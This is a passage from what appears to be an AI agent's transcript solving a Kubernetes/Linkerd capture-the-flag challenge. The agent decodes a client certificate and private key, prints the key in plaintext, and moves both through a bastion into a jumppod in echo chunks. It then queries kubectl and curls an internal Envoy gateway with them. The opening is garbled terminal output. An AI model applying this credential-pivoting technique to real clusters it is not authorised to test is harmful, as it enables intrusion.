k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
open('/tmp/c.key','wb').write(base64.b64decode(k))
print('OK')
import hashlib
print(hashlib.md5(open('/python3 -c "
import base64,urllib.request,ssl
# Write cert
c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oK'
c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMK'
c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIK'
c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
open('/tmp/c.crt','wb').write(base64.b64decode(c))
# Write key
k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MK'
k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkK'
k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQK'
k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMK'
k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QK'
k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBjTXczclJPaVYK'
k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK'
k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2czbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUktxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
open('/tmp/c.key','wb').write(base64.b64decode(k))
print('OK')
import hashlib
print(hashlib.md5(open('/[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# python3 -c "
[?2004l,'r[?2004h> import base64,urllib.request,ssl
[?2004l[?2004h> # Write cert
[?2004l[?2004h> c='LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWStttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x11YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UK'
[?2004l[?2004h> c+='Ky90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUllaNjh1WGROUk5GU1pzSGtqU2oK'
[?2004l[?2004h> c+='SS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJJUN2xLcmVqZHh3Q3UxcHpCaXMK'
[?2004l[?2004h> c+='YTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I0TUZSMFp6aFJFWjRoM0s1WUkvN1h6QU55CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNNoSGhsQlpsV2grOEtUcS9aeGIK'
[?2004l[?2004h> c+='U29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0ttjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0tt5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQootLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
[?2004l[?2004h> open('/tmp/c.crt','wb').write(base64.b64decode(c))
[?2004l[?2004h> # Write key
[?2004l[?2004h> k='LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cK'
[?2004l[?2004h> k+='VnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUttYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW11ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1ppzSGtqU2pJL1JwMlFTclZyd0MK'
[?2004l[?2004h> k+='WkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGkk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BBRUWZCQ0U5ZWZlYlZCUmlxdjkK'
[?2004l[?2004h> k+='MEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW55DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVBB5QTNvYWEvbHBXb21uY0M2VTQK'
[?2004l[?2004h> k+='ZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGMM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW99SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS99ZNFRTYUtnTFkrbCs2ZCtKWHMK'
[?2004l[?2004h> k+='LzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZZlQ21WekxPSwoyZ1hjckdMUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UUwbFFVV3VCK01LR24vMkVLS2QK'
[?2004l[?2004h> k+='VmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0L3ZTem1aQXll3U2dyZzBzSwphT1FFcisyRmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0xeUhHbGlmY1lvN3EE2bWhPcCt6Vk93dVRDCjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFEalA4Vi9WRG9iM1NRWHVV2MjBYRDU2RFBjTXczclJPaVYK'
[?2004l[?2004h> k+='VFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRhS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBpR1VGSjcycjllBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFFcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0cXFIaGxRb1ZyYzllSODUxUUhVM0NZRStyCmp5QjJIcTBvUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFptVHZXUGlxV2pRTDA3UU55QempGc2NQMWpFcWxnR2VGM3oK'
[?2004l[?2004h> k+='UnJvV2EvM2haeU1iYmFBdHVsbDBlVE1GdjhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBBWdkw5WVdjWApTSG82cVQzS0lucjNpckh2Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExjK2cczbEdKaUYvQ2ZzMnl2ClVyUDM5TkgxOXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0MwTlowUkttxdU1SU1dSdnFMT3ZxUFhicDgKWWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5EIFBSSVZBVEUUgS0VZLS0tLS0K'
[?2004l[?2004h> open('/tmp/c.key','wb').write(base64.b64decode(k))
[?2004l[?2004h> print('OK')
[?2004l[?2004h> import hashlib
[?2004l[?2004h> print(hashlib.md5(open('/tmp/c.crt','rb').read()).hexdigest())
[?2004l[?2004h> print(hashlib.md5(open('/tmp/c.key','rb').read()).hexdigest())
[?2004l[?2004h> "
[?2004lbash: python3: command not found
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 127
Connection to 35.179.133.134 closed.
Thinking

No python3 on the jumppod. Let me write the PEM files line by line directly.

$ Bash
Get PEM content for line-by-line transfer
# Get the PEM content line by line
cat /tmp/client.crt
echo "==="
cat /tmp/client.key | head -5
echo "..."
-----BEGIN CERTIFICATE-----
MIIDGDCCAgCgAwIBAgIUGOILJNY+mvhBA8LbbO3l8yd+biowDQYJKoZIhvcNAQEL
BQAwLDEUMBIGA1UECgwLTGlua2VyZC1DVEYxFDASBgNVBAMMC0xpbmtlcmQtQ1RG
MB4XDTI2MDIxODA4NTgzNVoXDTM2MDIxNjA4NTgzNVowHDEaMBgGA1UEAwwRTGlu
a2VyZENsaWVudFVzZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCu
+/t1RlCaSkCgVvr04euqLfKX6Ejx1CVvXQritvXgdh/f8fTNAYnhpnP3q4BBNRRY
xYEKX4AJ+icVLNFoW0DhzzQJsjKIcYhcdR1ybIFg8sRrVJwEdh5lmdRDRO6Y/mmY
2gOFz1ckCynoEl0kw3K3o3FHwV/go5lTGtayNM4k1UR55IZ68uXdNRNFSZsHkjSj
I/Rp2QSrVrwCZCjEHv6rVzmWv1ohR0165MLqqfTvtC5ZJ3890SeS0ghVusofkw95
jLpi4rlxUbxfiNFlYC54P6IWI8w/Rs/7iHYVoiLbXTY9sCuDxNvAqJUgplwHuav+
4mm9c/zmuD6+kCT/+N8rAgMBAAGjQjBAMB0GA1UdDgQWBBT7lKrejdxwCu1pzBis
a3MTHhxamTAfBgNVHSMEGDAWgBRcWdkB4MFR0ZzhREZ4h3K9YI/7XzANBgkqhkiG
9w0BAQsFAAOCAQEAPl1h9XPX9ZluVvot8Knv6CG5vPWPXhJp8xusJDSBnVwp7Qi3
7Gs/Rn/nINS2W6Y7P7/9b3/Ciu4A6r1/s8O8bVb0LtUzMchHhlBZlWh+8KTq/Zxb
SoaRoiaMaqIQbeXQlmfQ+O/pCli1Ygcje5Odpvf+BSHj9swZWvM9QgjUTTA1NbmW
5QhCvGNQmI5vpmQpoXsGND1nsIKlqayzVr2Zw/PiNp8rt0m1c/KcF6lqVUymX8FI
0J2WJCOa7pNdcso21g7/dudYbv0yRYkgP1PRCNSXn4MlSKyhoG0VutCOp8Dyo9ER
CNFRbWIM0dRy1C6X+BRpjo3MuQJSlQeZgcRNfw==
-----END CERTIFICATE-----
===
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCu+/t1RlCaSkCg
Vvr04euqLfKX6Ejx1CVvXQritvXgdh/f8fTNAYnhpnP3q4BBNRRYxYEKX4AJ+icV
LNFoW0DhzzQJsjKIcYhcdR1ybIFg8sRrVJwEdh5lmdRDRO6Y/mmY2gOFz1ckCyno
El0kw3K3o3FHwV/go5lTGtayNM4k1UR55IZ68uXdNRNFSZsHkjSjI/Rp2QSrVrwC
...
$ Bash
Prepare chunked transfer commands
# Write cert/key files as small base64 chunks via SSH
# Split the base64 content into small pieces
CERT_B64=$(cat /tmp/client.crt | base64 -w0)
KEY_B64=$(cat /tmp/client.key | base64 -w0)

# Split into 76-char chunks for reliable transfer
echo "$CERT_B64" | fold -w 76 > /tmp/cert_chunks.txt
echo "$KEY_B64" | fold -w 76 > /tmp/key_chunks.txt

# Generate the commands
{
  echo ">"  # dummy first line
  echo "rm -f /tmp/c.crt.b64 /tmp/c.key.b64"
  while IFS= read -r line; do
    echo "echo '$line' >> /tmp/c.crt.b64"
  done < /tmp/cert_chunks.txt
  while IFS= read -r line; do
    echo "echo '$line' >> /tmp/c.key.b64"
  done < /tmp/key_chunks.txt
  echo "base64 -d /tmp/c.crt.b64 > /tmp/c.crt"
  echo "base64 -d /tmp/c.key.b64 > /tmp/c.key"
  echo "md5sum /tmp/c.crt /tmp/c.key"
  echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
  echo "curl -sk --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP"
  echo "exit"
} > /tmp/remote_cmds.txt

wc -l /tmp/remote_cmds.txt
58 /tmp/remote_cmds.txt
$ Bash
Execute chunked cert transfer and curl the gateway
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion < /tmp/remote_cmds.txt 2>&1 | tail -30
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'clhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5
5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZi' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'aUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJ
JbDNDZU1tVGxCR29hemlSaGM4YkRYK3Bi' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'OApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0
0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJI' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'bHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1
1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9Z' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'NFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9S
SYk1hcU1jNGJZalVTU29mOG9DTlpGc1Bz' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'aFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdM
MUmdhUEo0YWI1UUg2WnBXSjBWUUtCZ1FE' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'RnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZY
YCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkz' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'ZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01L
LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtG' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'a1JqaEFnc015ODFPUlEwSlprWWwyRmpLSGJsaFlyS3c0
0L3ZTem1aQXl3U2dyZzBzSwphT1FFcisy' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'RmZ3S0JnQk1KRnVxRzB1NE9keWpNdzhCa2gzQlJnNG0x
xeUhHbGlmY1lvN3E2bWhPcCt6Vk93dVRD' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'CjdLaHNZUGM5anVEMlFLTmNnRWVWSnpzOVF4VE5KYlFE
EalA4Vi9WRG9iM1NRWHV2MjBYRDU2RFBj' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'TXczclJPaVYKVFlRUHFocVV3Y2tUNzlVL0l0R0VFWHRh
hS294bTVoTmQzSzQ5WWhSZXcyZWR3YjBp' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'R1VGSjcycjlBb0dCQUpJVgp2L3hyeVVoejZaWm4wRUFF
FcWhPRFBlNW02RHdocVRQdzV5M0lSNmI0' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'cXFIaGxRb1ZyYzlSODUxUUhVM0NZRStyCmp5QjJIcTBv
vUlFZbkhNc0pEWkVrQW5iVVhQUk1GZFpt' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'VHZXUGlxV2pRTDA3UU5QempGc2NQMWpFcWxnR2VGM3oK
KUnJvV2EvM2haeU1iYmFBdHVsbDBlVE1G' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'djhkbGwycDVVdnFqZmJYQkFvR0JBT0NmYzNtTGM0QlBW
Wdkw5WVdjWApTSG82cVQzS0lucjNpckh2' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'Q25qa253L1lkZmI3TFF5dnFjaEkrMjU5RExBbnlROExj
jK2czbEdKaUYvQ2ZzMnl2ClVyUDM5Tkgx' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'OXpPSnFrV3I2VjVmcmZtMlZUWncwczFrbldVU0RmT0Mw
wTlowUktxdU1SU1dSdnFMT3ZxUFhicDgK' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'WWd2bWk2WnA2ZzlpMnYwVFRPaUd0N3hwCi0tLS0tRU5E
EIFBSSVZBVEUgS0VZLS0tLS0K' >> /tmp/c.key.b64
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# base64 -d /tmp/c.crt.b64 > /tmp/c.crt
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# base64 -d /tmp/c.key.b64 > /tmp/c.key
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# md5sum /tmp/c.crt /tmp/c.key
[?2004l
fb356d37bd0c93172148580db0857ba9  /tmp/c.crt
0a94de1f463a0995741af86a38976ef5  /tmp/c.key
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sys
stem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep
p '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --cert /tmp/c.crt --key /tmp/c.key https:
://$GWIP
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.

The MD5s match perfectly! fb356d37bd0c93172148580db0857ba9 for cert and 0a94de1f463a0995741af86a38976ef5 for key — same as local. But still exit code 56. Let me try with verbose output and --http1.1.

$ Bash
Curl gateway with verbose HTTP/1.1 and client cert
{
  echo ">"
  echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
  echo "echo GWIP=\$GWIP"
  echo "curl -svk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://\$GWIP/ 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -40
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS header, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS header, Finished (20):
